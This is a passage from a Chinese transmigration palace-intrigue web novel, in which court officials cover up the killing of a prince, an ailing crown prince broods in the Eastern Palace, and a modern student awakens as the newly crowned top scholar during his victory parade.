陶严也无奈,边给人套血味满满的夜行衣,边呲她:“旺财远点,别挡这。”
“哎!”
钟旺咬牙切齿,小拳挥挥要报复。见陶严已扒开人衣服,摊胸露肤。晏城轻笑揽着她肩膀往外走,才止住钟旺的攻击。
晏城拍拍人脑袋,目测七尺,比他们低了点,很适合揉搓。
“别生气,清肃就这狗模样,生气对身体不好,也丑得快!”晏城安抚。
钟旺惊得睁大眼:“晏大人没骗我吧!”
“当然没骗,来笑一笑,十年少!”
欢笑声于旷室内响起,又戛然而止。
在厚重类墙的帘布掀开时,钟旺嬉笑的面孔,不带铺垫,速速动容。
殷少宿:“在笑什么?贼人找到,怎不捆到前厅,让兵马司瞧瞧?”
殷少宿先扫过搁置博古架的摆件,径直走近他们,垂眸看了眼未收入刀鞘的刀身上淋落的血液,以及仍握在晏城掌心的匕首。
哪来的武器?
殷少宿不解,越过他们,与陶严并步而立。
陶严身子半弯,穿套衣服时上身掩住人的脸,哪怕起身,也有张面罩遮他眼目。
倾身,殷少宿要去摘他面罩。指尖还没碰及,就察觉到几人情绪不对劲,屋内气氛随烟云往下逸散,而沉寂。
顿时,殷少宿:“你几个又给我惹祸了?”
“……”
两主簿还未启言,钟旺忙摇头:“没有没有,在你手下,我们哪敢惹祸!”
跪得太快了,旺财,主簿们吸了几口气。
她一出口,殷少宿先前的猜测得到验证,此人身份有问题。
至于他们是否敢以假替真,殷少宿自认绝对不可能。
为确保,殷少宿扯开衣角,查看腹部的刀痕。包裹严实,有药味,经过精细诊治,不像刚伪装的刀伤。
淤青不散,像胎记般刻在腰部。
人,是真的。
殷少宿扯开面罩,先入目的是横穿喉咙的伤口,很深,几乎夺取人的性命。
还在流淌的血迹,刚死不久,是钟旺下的手。
只是杀了个贼子,他们为何那般怕?
殷少宿心里困惑不解,面罩扯露脸部,率先见的是那刻肉见骨的“奴”字,以及熟悉的面容。
“哈啊……”
殷少宿重重叹了几口气,落在那血字的手又颤又麻,僵持悬浮上方的力不再,掌心重重贴在那字上。
“你们干得可真好,几道,我可不信你瞧不出这人是谁!”
晏城挠挠耳后,偏头不敢与殷少宿对视。
“你三都干了?”
殷少宿目光只落在陶严身上,见他点点头,紧绷的下颌懈了点,素日严谨的面孔,展露无奈的笑容。
站直身,殷少宿扫了他们好几眼,两主簿极不爱惹祸上身,他们或多或少也见过成年皇子。
也只钟旺,今年才入京城的人,不认顶上的皇子。
“呼,拿刀来。”殷少宿摊开手,手指勾勾,看向晏城。
晏城:“殷大人?”
“都是大理寺人,别把我排除在外。”
殷少宿紧握刀柄,划破那微微上挑的眉眼,破了这熟悉、可辨别的凤眸。
……
兵马司放走的贼子,自然是他们将人抬走,几个五大三粗的副指挥使抱尸体隔在肩膀上,上下耸动,微微适应。
因头颅朝下,披发垂落,代替面罩遮掩贼子的面孔。
祁阳伯看了尸体几眼,收回视线,面带笑容送走副指挥使,转看殷寺正。
祁阳伯:“不愧是殷大人,短短时间内,轻而易举抓住贼子,不知?”
“这贼子大抵急病乱投医,误跟着府上女公子进了贵府。”殷少宿笑意很薄,安抚般拍拍祁阳伯的手背,让他不用担心。
误跟着,祁阳伯听此,笑容越发大,瞧身旁的两位主簿都带了些笑声。
只是,目光落在钟旺时,他眸眼阴鸷,眼皮搭拉,光彩融不进。
钟旺不惧,直直与祁阳伯对视,手指紧扣刀柄,唇瓣紧抿,作攻击样式。
袭来的气势太熟悉,钟旺咬咬牙,拇指顶着柄,指腹压着银亮的身。
“狗吗?龇牙咧嘴的。”
晏城挡在她面前,与仗着身高,居高临下低看钟旺的祁阳伯对视,他浓墨的桃花眸里,映衬出祁阳伯的不满。
此刻咬牙切齿的换成祁阳伯。
谢知珩毫无遮拦显示他对晏城的喜爱,故身居七品,宦海中也少有人欺辱晏城。
卖钩子的玩意,好男色的混蛋,祁阳伯捏紧拳头,目送他们的离开。
临走前,想再唬下人,可陶严落在最后,笑眯眯同他对视。
又涌上散不尽的愤恨,江南名门陶氏,不可得罪,还得为五皇子拉拢他。
霎时,祁阳伯不愿再看,等马车灰尘由风滚去,才转身进了府。
“爹爹/哥哥!”
才踏过门槛,绵软如玉的女儿笑盈盈凑上来,祁阳伯受她们满眼的孺慕侵袭,郁闷的心吹去不少。
祁阳伯大臂一揽,将女儿搂入怀里,大笑:“唉,我的几位公子有什么需要?哥哥帮你们买。”
这么一说,祁阳伯发觉几个女儿发髻插的朱钗步摇有些熟悉,样式似是老旧,京内不再流行,眉头一挤。
“哥哥,儿想买玲珑坊新出的糕点。”
“哥哥,儿也想要!”
……
风铃般的声音在耳边围绕,祁阳伯面朝他们,一个接一个应下,最后落在还未出声的二女儿脸上。
祁阳伯夫人早逝,二女儿未受太多母爱,祁阳伯自是将人放在心上,甚至因她过爱美色,还想着要不令府上招婿。
或,效仿先祖,使她继承伯府爵位,广收面首。
虽,女子袭爵,须得降一等。
得再为女儿们,多挣几份功。
这般想着,祁阳伯察觉到二女儿腰间系戴的那半片玉佩,凤吟的模样,让他一愣。
“从哪儿获得的?”
此仅宗室妻可佩戴,祁阳伯可不愿女儿嫁进宗室,得那般罪受。
不过宗室近几年势力高涨,在太子的扶持下,力压勋贵。<
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朝内形势,已是朝臣压于宗室,宗室压于勋贵。
沈溪涟解下玉佩,递给祁阳伯:“是那人给的,不过可惜,让副指挥使大人带走了。”
该是没事,毕竟那人是皇子,刺杀个官员,没遇伤碰死,顶多被禁足罢了,沈溪涟于心中想。
祁阳伯摩挲玉佩,凤头处有触及细小的字,微刻的“伍”。
顿时,祁阳伯踏出府门,抓牢石狮掌心的滚石,望向兵马司远去的方向,已瞧不见他们影子,该是早回了官署。
“……”
那贼子,是五皇子!
心中大惊,掌心用力。
伫立许久、经风吹雨打而不散的石狮,于祁阳伯急剧睁大的眼眸中,有细小的石块滚落。
是狮头先开始,后是滚石滑落,砸中祁阳伯的脚。
痛苦夹杂哭声,响彻整个街道。
多么痛恨,连其他公侯府的下人也冒出头,凑看热闹。
……
另一块玉佩雕着龙头,晏城回家后,恰逢谢知珩出宫至府,他便将玉佩给了谢知珩。
“皇子都有吗?”晏城问。
谢知珩好奇般左右翻看,搁置桌前:“不,宗室子都有。若有一生相伴的爱人,才会拆分,交给爱人。”
“那我呢?你没给我。”晏城指着自己,不满地道。
谢知珩抬眸:“孤也没有。”
“你不也是宗室子?”
谢知珩:“是宗室子,可孤生来太子,乃大宗。此是小宗所有的玩意,孤大抵是没有。”
“哦。”
晏城撑着脑袋,仍不得满足,眼皮耷拉,往上仰看谢知珩。
谢知珩取下腰间常佩的玉佩,不分龙凤,与他外袍的五爪金龙一般,享彻极致的权势熏陶。
落在晏城掌心时,还带着德阳殿的熏香,与浸透谢知珩骨血里的,昂贵珍惜的龙涎香。
“壁不整,容惹是非。”谢知珩合上晏城的掌心,“完整的玉璧,才更适合庇佑你。”
“有孤在,哪怕群臣具知你杀了谢元珪,也无人敢参你入狱。”
谢知珩在晏城唇角一吻,轻声:“别怕,一无权无势,二登不了大位的皇子,还不至于让你这大/三/元的学子落狱。”
晏城不理解:“真的?”
“自然,皇子杀不尽,宗室在,便就有。但大/三/元的学子,大盛可就三位。”
重臣,与无宠的皇子。
孰轻孰重,一眼可知。
“谢元珪?他就是谢元珪!”
这名字,让快忘却剧情的晏城,总算从记忆的垃圾堆里摸索出来只言片语。
谢知珩:“嗯哼,他便是你与我说的,最后的胜利者。”
真好用的一把刀,王朝的胜利者对上天命眷顾的主角,自是天命胜。
谢元珪,你输给的乃是天命。
“啊?我什么时候说过!”
晏城惊呼出声,有些不相信,他什么时候同谢知珩说过这等事。
在他的认知里,与谢知珩的对话中,晏城明确记得,他只说过自己是后世误入的人。
谢知珩挑起晏城垂落的鬓发,浅浅细吻。
“初遇时,你便与孤说过。”
16. 熹始二十三年
熹始二十三年,高阳不歇,悬挂东宫之上。
初春的阳晖仍带有余冬的寒,洒在裹得严实的宫人身上,不暖和,却又压得眼下阴影重重,与散不尽的青黑相伴。
行走间,宫人莫敢低声细语,托着的案几上乌黑药汤。
埋入炭盆的金丝炭堆成一座又一重的山,连灰都洒落盆边。跪守的宫人,用浸湿的锦帕擦拭一遍又一遍。
无人敢言语,他们低敛眉目,将自己缩进角落,缩进阴影。
细碎的咳嗽声再次袭来,未响彻整个宫室,只在内室,如逸不开的烟云随意,却惹得他们再次匍匐。
“殿下,用点吧。”
眉头紧缩,几连成一条线,李公公端来新送的汤药,低声与谢知珩说。
冬缠的寒意侵袭上身,谢知珩这咳嗽持续了将近半月。
太医令早为他诊了脉,道此病于他无碍,只需服药几日便可。
又叮嘱,不得再亏空精力,得好好休息,养养冬日散去的神。
最重要的一环,太医令不敢与谢知珩说,可在李公公的强力劝服下,才出口。
太医令:“还请殿下,宽慰心神,不可再受昨日牵扯。”
无力而瘫软在床榻间,谢知珩揪紧垂落的纱帘,许久未言,骇得太医令跪地不起,怕惹怒了他。
宫人跪匐的动作不满,乌压压的一片,落在谢知珩眸眼中,倒像逼迫他坠入深渊的漫长队伍。
龙纹玉璧搁着掌心痛,触感的温热都比谢知珩高些,甚至到要烫伤他的程度。
谢知珩咬咬唇,喉咙里挤出几句话:“退下吧。”
如获重释,太医令告辞后,忙拉着药童走出东宫。
太医令走,可满地的宫人未起,谢知珩偏头不愿看向他们,再次重复:“你们也退下吧。”
宫人听此又惊又喜,可又怕,他们先是热泪盈眶看了李公公一眼,后不敢耽误半分,后退着离了内室。
偌大的寝室内,只谢知珩,与伺候他许久的李公公。
谢知珩靠着床柱,哑声问:“你怎还不退下。”
寒病没吞他太多精气神,是自个不再硬挺,尾调衰弱,又轻,融入纱帘。
“臣得陪着殿下。”李公公回。
谢知珩眸光溃散,陷入透不进光的黝黑里:“陪着?你能陪孤多久,瞧你那老身板,没得几年就死了吧。”
确实,李公公而立之年被天后派到谢知珩旁,从他能落地走路,到如今执掌王朝,陪伴的时月不输帝后。
可同时,他也衰老许久。
“是没几年,可臣想看殿下走太极殿,想看殿下泰山封禅,想唤殿下一声,陛下。”
谢知珩侧头未回,本就冷白的肤色,因病更显,毫无血色,几乎可瞧得脖颈处暴露的青筋,万分脆弱。
未束发,垂落杂乱的发丝游走在锁骨处,像捆住他的黑绳,掐住脖颈,步步逼紧。
连呼吸,都轻了太多。
“臣能看到吗?看到殿下登基的那一日。”
李公公又问,似乎将此作为夙愿,同谢知珩一道又一道说着,说着人几乎要烦。
“你可知,孤要登位,是要当今逝去的!”
李公公:“臣知道,臣比谁更清楚。”
“既然如此,孤现在便去弑父,明日即刻登基,让你这老不死的活不过三日!”谢知珩恶狠狠道,咬牙切齿,磨牙的声音细细碎碎,却又非无。
李公公将那碗汤药端到谢知珩面前,笑说:“那殿下先喝完药,喝了这碗,臣就去唤羽林卫统领,立刻包围艳阳宫。礼部那儿,圣人早早为殿下备好登基的仪仗,明日不算慢,赶得来。”
他说的,谢知珩都无奈轻笑了会儿,低垂眼睫:“你啊,不用这么快,慢步春不是早给人灌下。”
“瞧臣说的,怎可让殿下承了那弑父的罪,圣人可是极不愿殿下,在史书留得这罪名。”
李公公轻打了自己一巴掌,骂自己说话失礼。
见谢知珩饮下汤药,不复方才低沉抑郁,李公公收来空碗,到外间使人传膳。
早早热着的膳食一人一人的端来,将圆桌铺得满满。
有人试毒时,李公公已为谢知珩穿好衣裳,今日不见诸臣,便未着太子袍服,只套了件常服。
处病中,谢知珩胃口不好,只用了几口,便挥手让人拿走。
李公公担忧不愿,但还是遵从,只是让人送来谢知珩喜用的糕点,摆在他手旁。
“外头怎又闹?”
撑起精神,批阅奏折时,谢知珩听到外间的声音。
太监跑来,李公公才知道,告与谢知珩:“是小殿下,今日大抵晕觉,困魇,哭着找殿下。”
对这个孩子,谢知珩着实不喜。
他的出生伴随整个皇宫的噩耗,太子妃因他难产而死。天后于当日害病,躺于榻上不起,没几日,也病逝。
谢知珩抵着额头,重重呼出一息,勉强道:“让人抱来。”
阿娘的劝诫在耳边萦绕,逼得谢知珩接受这个孩子。
天后:“珩儿,阿娘知你不爱这孩子,也许他是你此生唯一污点。或许日后,你会怒极而摔死他。”
“可阿娘想说,他毕竟是无辜的,衡遇也是被受侵害的无辜者,你不可以异样眼光看他们。”
“毕竟是皇室血脉,留他一命,留他平安喜乐便可。”
平安喜乐,那孤呢!
困扰的噩梦再次袭来,谢知珩咬牙想抑制,但浑身颤抖,握朱笔的手指也抖得不行,几乎要在奏折上画下重重一横。
涌上的怒与怨充斥全身,朱笔往地上一摔,又起身太快,猝不及防,手旁的糕点被牵扯,摔落在地。
“啪!”
碟碎的声音太响,震得宫内几人匍匐不敢,在谢知珩重怒之下,连声音都是错误。
除一人。
方被抱进的谢以楠本就惊吓未去,又遇谢知珩生怒,父亲通红极怒的眼眶,虽没看向他,却也如恶鬼般害怕。
“哇呜呜,不要、不要父王!”
谢以楠哭着缩在奶姆怀里,双手捶打,不愿让李公公抱他。
李公公眼露无奈与退不去的担心,既想安抚小殿下,又想去瞧瞧谢知珩可否受伤。
“先抱小殿下下去吧。”
李公公摸了摸谢以楠的发顶,慈善和蔼的笑意,与刻意捏造的丑角脸,倒是让谢以楠不再哭。
等人不在,李公公走到谢知珩旁,端来浓茶,让谢知珩稍微缓缓。
“今日的龙涎香,燃得不太够,让殿下受惊了。”
李公公亲自去点,无色的香云此刻化形般有
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了实质,浓郁地欺压指尖,又似薄纱般笼罩谢知珩,将他拉入看不清的迷雾中。
这纱般的烟云,倒让李公公想起几日后的游街。
“新科状元已出,过几日便是游街夸官。本该钦点后就进行,可殿下仍在病中,便迟了几日。”
“等游街夸官那日,淮阳巷该有多热闹。”
谢知珩点点头,方想开口,控不住的咳嗽又起,一声又一声欺着他哑痛的喉咙,唇瓣也干白。
二十三年的游街夸官,该是熹始帝这二十几年里最宏大,也最热闹的一次。
虽迟了几日,却让礼部极尽全部之力,连素来喊穷的户部也不曾堵礼部尚书的条子,盖章盖得极快。
大盛建都才三百多年,历经帝王无数,科举开恩许久,可连中大/三/元的学子却只三位,还得包括今科的这位。
文人为此,莫不欢喜,群臣也百喜。
这月乔尚书都少骂人几句,御史台上参弹劾的折子都少。
一洗自熹始十九年来,萦绕在大盛的衰气,也让谢知珩的威望更胜。
太子监国期间,便有高中大/三/元的学子,若是登基,那可莫不敢想!
太子乐,文官喜,百姓为之皆欢,人间热闹非凡。
淮阳巷建有二楼的茶馆酒楼,甚至花楼里,都没了椅子。欺欺压压,挤了不知多少人。
人太多,哪怕身为太子的谢知珩,也只占了那一小方雅间。
其余雅间,都是以六部、三省为点,聚了不少官员,只为目睹这百年难一遇的游街夸官。
“辛苦兵马司了。”
谢知珩轻笑,锦帕捂着嘴角,抑住将出的咳嗽。
他可不能,在这个关头,害人兴致。
堵得太紧,喉咙止不住的痉挛,腹中犯起重重反胃,要吐不吐,难受得厉害。
谢知珩死死咬住唇,不让其散出。病白沉暮的外相,瞳眸通红,抹了层脂粉在眼角,又因泪而扩散。
“殿下!”李公公搀扶着他。
谢知珩全身无力,手紧紧握住木栏,压在其上才不至于跌落地上而凌乱崩溃。
眸眼远望,耳旁的欢呼声不绝,往日里矜持、克制自我的官员此刻丢了礼数般,挥舞手中绢花。
诸府上的女公子着日常出门惯用的男装,绸缎扎成的花枝已藏不起,没等人来,就抛掷下去。
绢花与花枝,为那位状元郎,铺就一条花团锦簇的花路。
花楼处的女儿家也不甘落后,血色细纱从高楼垂下,因风而起,在人眼前飘逸,或堆积在掌心,弱弱似水,好似难以紧抓。
可若有人伸出手,只轻轻一扯,便是一段露水佳缘。
他们在欢呼,他们在欢喜,为新科状元而雀跃,也为他造就一场锦绣前程路。
“咳咳!”
撑不住,谢知珩跪落在地,上身弯曲,抵着膝盖,重重咳嗽。
一道又一道的起,始终不停,似要让他将五脏六腑全咳出来似的。
李公公在旁手足无措,只得捧着茶壶与杯盏,递给谢知珩,让他稍微缓缓。
热闹非凡的花街,与死寂沉沉、莫不敢言的东宫。
困受病中,而走向暮时的统治者,与他那兴兴向上的王朝,看得见的繁华与盛世。
只叹,无常。
17. 第 17 章
“轰隆——噼里啪吧!”
遮掩天地的朦胧朱纱,于轰隆中炸裂火线,日光还算炫亮,烟花不如夜间那般绚烂,却仍能夺取众人的注意。
“怎白日里也放那爆竹?”
“火树银花,还得夜天里瞧得惊人,可今日来看,不输夜日的美。”
“狗养的玩意,礼部那群混小子,居然敢放火树银花!”
乔尚书怒然拍桌而起,震得盏内白水也颤动,四溅开来。
旁同官署的礼部属官先受了上官惊吓,又忙拦住要与礼部周尚书决斗的上官,边拦人边劝导。
“乔尚书消消气,周尚书也没花多少银两,都控制在你规定的范围内。”
“是呀是呀,今天可是个好日子,别为周尚书动了肝火。”
……
也不知户部尚书位置是被人下了降头不,哪位官员登上,都成了死抠死抠的铁公鸡。
三省宰相被骂了遍,甚至有时,连谢知珩,都被乔尚书喷了好几嘴。
“周小子你给我等着,本官不联合御史参你个狗血淋头,本官跟你小子姓!”
被人拦得无法动弹,出雅间时,乔尚书还被守着的宰相抱住。
他们轻声细语,温柔安抚暴躁的乔尚书,大好日子,可不得出任何差错。
被谩骂的周尚书为此敲响了谢知珩雅间的门,李公公才打开一条缝,周尚书闪身钻了进去,又招呼李公公忙关紧门。
可别让乔尚书这疯狗进来。
周尚书:“殿下救我!”
“……”谢知珩推了盏浓茶给他,让周尚书缓缓。
转眸望向依旧闪烁的火树,混杂众人的欢呼雀跃,将气氛推送到高点。
谢知珩伸出手,病白泛冷的缝隙中,连光都被破碎,连天都被侵蚀,好迷蒙。
又在叫唤了,谢知珩跟随众人的呼声,勉强撑着身体,见那迟迟未来的新科三甲。
抛掷的漫天花枝里,朱红细纱,不及状元郎满身红,由光熠熠生辉的绸子,都没他桃花眸里流转的水华。
绯落圆领,金华乌纱,织金披红。
素来是衣衬人,可今日,这身状元袍子,却沦为他的陪衬品。
高坐大马上的状元郎,时值二十弱冠。
骄矜自大,是才华增添他眉目的傲气,任谁投来的细纱花枝都接住。多情眸眼,望向何人,具是情深难忘。
抛落的细纱受风吹拂,拂过状元郎的鬓间。不小心蹭过眼皮时,痒得他眉睫颤颤,似花间翩舞的凤蝶,惹得众人惊艳。
万千欢呼,于此刻戛然而止,连爆竹都为他止住。
那朱红细纱略大,因风舒展,遮了人这似玉似花的貌。
尾处连卷,坠落他纱帽,或是披了红盖头似的。
瞧不见道路,状元郎想掀开,可他方方起手,捏着角往上掀起时,中止的呼声又响起。
呼声顺着风,将红纱吹得又起。
是无形的手,揭了状元郎的红盖头。
“唔呜……”
不敢惊扰天上人,只细碎的声音萦绕。
低垂的桃花眸,缓缓往上睁开,真正露出瞳孔的全部。
清澈略带惊恐的眼,被水浸得灵灵润润。
牵绳的手收紧,微张的嘴又抿紧,晏城不敢动弹,任人牵着马匹往前走。
我这是,穿越?
晏城不动声色扫视周边,高楼簇挤的人群,圆领袍服居多,但又多分男女。
男子多美须,对视时,他们投来的眸眼里或惊艳,或欣赏,也或嫉妒怨恨。
女子多抚发,锦帕遮掩羞涩,大多是欢喜,以及势在必得的拥有。
他们多是窄袖,只为方便替晏城铺就一条花路。
粗瞧时,晏城以为是真花。
可当花边扫过脸侧,才知是丝绸扎成,珍贵可想而知,具被马蹄踩落,陷入烟尘里。
太多,晏城伸手想拍走那些花枝,刚出手,便见裹着手指的宽袖艳红,与流动的精绣暗纹。
游街,红色衣服。
晏城有了猜测,原身此刻是高中状元正游街,人生最大喜事之一。
幸好不是结婚,不然晏城还不知该怎么处理。
状元……
大好日子就被他夺舍,晏城想,如果原身没走,那怨气应该能养无数个邪剑仙。
晏城垂眸等了许久,也没听见原身的怨恨,也没听见系统音。
更没记忆,原身是有多恨他,连点记忆都不留个。
怎么办,状元啊!
晏城欲哭无泪,他以前逛博物馆时,见过某位状元的答卷。
那字,那文采,哪怕晏城在顶尖985大学读中文系,也不可能到状元地步。
死定了!
我高考语文也才一百二十多,能上985,还是其他科目的助力。
晏城咬咬牙,开始背诵他学过的诗词,背诵文学理论,背诵考试必用的四书。
五经他没背,只是读过,研究过,看过相关文献,但不代表他真的会啊!
还有一部失传了,晏城看都没看过。
天要亡我。
怎么在此刻穿越!
“嘶——”
突来的寒意,逼得晏城仰起头,素不骗他的直觉让他看向某处茶馆的二楼,青色长袍的人,正死死盯着他。
与他人的眸光不同,那人挑高的凤眸里,裹着冬日的寒意。
遍地白雪的眸底,暗藏涌动的杀意,晏城紧掐手心,那人不会认识原身吧。
糟了糟了,离鬼门关又近了一步。
下刻晏城又察觉不对劲,那人虽穿青衣,将自己隐藏在清贵文人里。可浑身的上位者气质,与旁人不掩饰的臣服,让晏城有了些不同。
他那副厅级的大爹,也没这人压迫力强。
面目年轻,瞧着不超三十,不可能高居官位,更不可能是尚书丞相。
小说里二十几的丞相,那是骗鬼呢!
旁人眼里乳臭未干的小屁孩,站得比任何人都要高,底下官员怕是没一个服他。
皇子,还是太子?
也没猜过是皇帝,只是这般年纪大小的帝王,大抵是不可能旁有高官低伏。
始皇帝及冠那年,还有叔父压着。
任谁来,都不可能比始皇帝还要厉害牛逼的吧!
掌权的太子,旁边应该是他的东宫属官,晏城因此落下判定。
长街要走过,那太子也没派人治他的罪,想是不敢坏这大场面。
太子,众多官员都旁观这场夸官游街,晏城想,原身的价值,不仅仅是个新科状元。
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对诸位上位者来说,原身除去状元外,还有更多的可利用性。
未入朝政的新生蛋子,受这般多人的关注,数不尽的花枝,看不到尽头的锦绣路。
晏城透过他人眸眼,瞧见这副身体的容貌。眉眼与他无太大差别,只是从细微处,比他更精致,比他更漂亮。
他爹的,老子长得真好看!
下一刻,长有这般如花似玉的美貌,是状元而非探花。瞧之身后紧随的探花,比晏城年老许多。
阅历,才华或是不输,却单单点这看着不大的少年。
大/三/元!
晏城又觉前途无望,死路千万条,走哪都是死。
原身你丫的,状元就状元,怎么才华这般出众,考个大/三/元来!
这是要我命的节奏,华夏上下五千年历史,科举开恩才短短千年,能有几个大/三/元!
还在盯……
晏城都走离那长街,身后太子的眼神活似毒蛇纠缠。寒意自后背扩散,漫上腰肢,紧缚脖颈,与寒春的风般,于晏城唇角散落。
状元走过,淮阳巷欢声止住,众人陆陆续续乘车离开。
男子低声探讨,说状元郎的前途可见,最低都会进翰林院。
以翰林院为踏脚,进六部,去三省。
再外放出京,修得一番地方好政绩,最好身披万民伞,高坐宰相位。
女儿家也探讨着状元郎的前途,但多是聚焦对方能带与自己的骄傲,极致的美貌,出众的才华,怎么都拿得出手。
“还未成婚吧。”
“定然,状元郎上京城那日,身家便被查了个透。还是兰陵郡主求得殿下,殿下特意为我们查的,家里有几只雌鼠,都一清二楚。”
也是此,谢知珩对这位新科状元的熟知,不输状元郎自个。
待周尚书离去,谢知珩平静面色骤变,凤眸压得低沉,瞳色黝黑,深得使人看不透。
“殿下……”
李公公不解,自状元郎朱纱掀起那刻,谢知珩受热闹微微喜悦的情绪,跌落极致。
谢知珩紧紧抓着栏杆,恨意于心口涌上,杂着旧恨,自口中吐血而出。
“咳咳!”
重抑许久的咳嗽翻涌而来,谢知珩无力跌落,贴着木墙,一声与一声的重咳。
李公公急忙爬到谢知珩旁,先派宫人去寻太医令来。后锦帕沾水擦去谢知珩嘴角的血,倒水递给他,让谢知珩稍微缓缓,平复起伏不断的情绪。
“殿下!太医令马上就来,先喝喝水,太医令说你要宽抚心绪,不可动怒太多。”
为着此,李公公都要哭出来,求着盼着谢知珩稍微关注贵躯。
谢知珩不为李公公的哭诉而动容,他抓住李公公的手,咬牙切齿说:“去,让林统领,给孤把他押去天牢!咳咳……”
语未尽,李公公却听出。
那状元郎的下场,大抵同地牢的人一般,受尽折磨而死。
素来遵从谢知珩命令的李公公,此刻却摇头:“殿下不可!咱们需要这一位状元郎活着。”
不仅活着,还得让他长寿,谢知珩还得助他登高位,成就一番好事业。
“……”
谢知珩重重捶了木桌一下,茶盏因振动而跌落于地,破碎不成样,金丝修复都不可。
18. 第 18 章
总有人在盯着我。
灼热的视线几乎燃尽晏城后背,垂眸饮下酒盏时,晏城不经意间转眸看去。
找不到是谁,非是那人跑得快,而是投来注视的堆积成人河。
或大或小的眸眼,不遮掩般赤裸他们的情绪,或嫉妒,或咬牙吞肉般怨恨。
想瞧认更多,可络绎不绝的酒盏怼他脸上,酒液只盈半盏,溅起的酒珠似要刺入晏城眸眼里。
晏城望向那人,弯起的眼眸,扯高的嘴角,只展露欢喜与祝贺,好似不嫉怨般。
好烦……
晏城垂下眸眼,伸手接过那人的酒盏,转着杯壁。装豪饮模样,让酒水在宽袖的遮挡下,浸透进袖口里。
永远散不尽的酒宴传统,哪怕醉了以茶代酒,也会被劝得一肚子茶水,胀得疼。
很想逃离,可空无的记忆让晏城不得不陷入这场极致的狂欢中。
一声夹杂一声的酸诗儒语,混着妓子的欢声笑语,将晏城捧得越来越高。
“当年陆仆射不如几道这般光彩……”
“殿下凭栏居高临视,也只为见几道风光,可见几道未来之熹光,似此刻伊始!”
“不愧是东林兄,这番才华某自认不如,化用圣人年号,来赠与几道,某实在敬佩不已!”
……
化用天子年号,晏城一愣,端酒的手不停。
未来之熹光,似此刻伊始,两两配对,又得寓意极佳。
熹,炙也。
何为炙,火与日,引申为亮字。
不可能是伊,那只能是表伊始的始一次。
熹始……
不知为何,晏城脑海骤然浮现他只简单略读过的某本言情书,是被家里姐妹推荐,也被狠狠吐槽过的作品。
帝王年号,在书中出现频率不多,往往是略过存在,却牢牢浮现在他脑海里。
“这熹始帝,怎么跟唐明皇差不多?前期那般圣明,内举忠贤,外抗敌贼。怎么到后期,虽没一日杀三子,但一夜御三女是有的!”
“昏庸又荒淫,没有倾国倾城的贵妃,看谁能给他背锅!”
“可惜那位太子,虽是反派,却能撑起偌大的王朝。到底谁是反派呀!”
熹始年间,晏城转眸看向装点风雅的挂画,红章之下是绘制的日期。
——熹始十六年,岑千机绘于雅林苑。
瞬间明了,他不仅穿越,还穿书。
无数脏语堵着嘴里,面对数不尽的恭维,茶盏同酒盏,晏城咬咬脸边的腮,装作醉意与他们致歉。
快放过我吧,我已经安耐不住吐槽的心了。
始终套有笑意的桃花眸,此刻泛起浓郁的雾意,半耷的眼帘,望向谁都情意绵绵,但又极其委屈。
装醉装哭的丑态,劝酒的他们可不少见。
只是落在那张绝艳的美貌中,情深真切的桃花眸里,涌上的微妙触动他们。
酒成茶盏,又有柔情妓子安抚,簇拥的队伍渐渐散去,晏城有了余缓的空间。
含笑送别诸位庆祝的学子,晏城为自己倒了杯浓茶,压去口腔里散不尽的酒味。
哪怕这酒由花果香浸透,也不该它酒液的本质。
‘好在老爸替我锻炼过酒量,过年也带我去叔伯家应酬,不然定要醉倒,丑态顿出!’
晏城不敢出声,可只在心里发牢骚,始终不对味,只能动唇不语。
真出了丑,那可是扬名官场,啥都能改,可就是改不了初印象。
环视花楼,一楼大厅,二楼雅间,凭栏倚靠的人群中,可不少是官员,将来的上司或同僚。
用心惨恶啊。
晏城揉抚爆痛的太阳穴,走动时腹中似有酒液晃动,晃得他可劲不舒服。
“郎君可是需要休息。”
眸眼迷蒙,晏城勉强认出眼前人的衣着与陪候的妓子相似,官家子多着男装,很易区分。
晏城:“劳烦您了!”
“?”女子似有不解,但困于人之貌美,轻笑着不在意。
走过这高楼,望后院去,月牙似的湖水被众多二楼阁拥簇。
古代难出高楼,大多以二楼为主,它们不敢高,具都低伏于北部的皇宫。
月牙湖筑有舞台,丝竹声不断,纤纤脚掌踏鼓而起,红纱飞扬,拂过欣赏者的眼目。
惊呼声,玉佩金步摇投掷,跌落湖水里,为起舞者溅起无数水花,湿了她将裹未遮的薄裙。
晏城不为舞蹈欢呼,只为那些价值不低的玉佩步摇,可值钱了,这些玩意。
但细细察看时,湖水里有善泳的鱼者,拾取这些贵人们的恩赐。
仅一处,可叹盛世繁华,也可耻为最后的宏光。
渔阳鼙鼓动地来,惊破霓裳羽衣舞。①
“渔阳鼙鼓动地来,惊破霓裳羽衣舞。”
谢知珩在心里细细思索这句诗。
鼙鼓,古代骑兵用的小鼓。
动地来鼓声之大,使得地面也震动不已,可见骑兵队伍之大。
能有如此多的骑兵,只有战争。
“渔阳,我瞧过各地奉上来的奏折,可不见得有渔阳此地。”
李公公低声说,偏头令懂唇语的宫人再探再听,定要探出晏城的身份。
也没霓裳羽衣舞,谢知珩想,他的身份存疑。
他侧撑脑袋,眸眼低垂,看着晏城随人走进胭脂粉味浓的小院楼。风声在颤动,扰得枝叶不安。
起身,宫人为他推门,抛弃越发惊艳的新出舞曲,谢知珩也走进那阁楼里。
只是,以此地为聚点的妓子会嬉笑同旁人打闹。面对谢知珩,他们只会弯身,对至高无上的皇权而低伏。
不曾出现的妈妈也迎客,垂眸与谢知珩道声“殿下”。
李公公:“状元郎是那个房间吗?”
被引入二楼长廊尽处的晏城,高悬的灯具灼热,照得眼前路也热,传染至晏城,同热。
妈妈也瞧出不对劲,忙拉个人,去阻止这种行为。
“啊?我走错了?”
突袭上来的茶壶拉着晏城,晏城不解,可仰头去看,指引他的女子已不见。不知走到哪去了,晏城没太注意,他满心都沉浸在自己思绪里。
茶壶:“郎君,你休息的房间是这儿。”
门被推开,扑鼻来的熏香古雅,点得整个屋子与周边亲昵的有情儿不同。晏城扫了几眼,确认无碍后,才走进。
越走近,熏香的味散了点,吸引晏城的是满桌的佳肴,旁白瓷茶壶里,是姜味浓的醒酒汤。
虽极其不爱姜,可为了自个身体,晏城捏着鼻无奈饮下。
“嘶!真不喜欢这姜味。”
晏城吐吐舌头,似乎如此便能驱赶满腔的辛辣味,拾起玉箸细细品尝来。
“嗯还可以,菜品还行,就是种类太少,太注重食材的本味。”
香料此刻还作为风
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雅的附属品,还未在食物领域狂建功业。
“甜点不甜。”
不甜,已是晏城对糕点最大的评价,就是略有些干,需多喝点水。
“饭后水果还是少了点。”
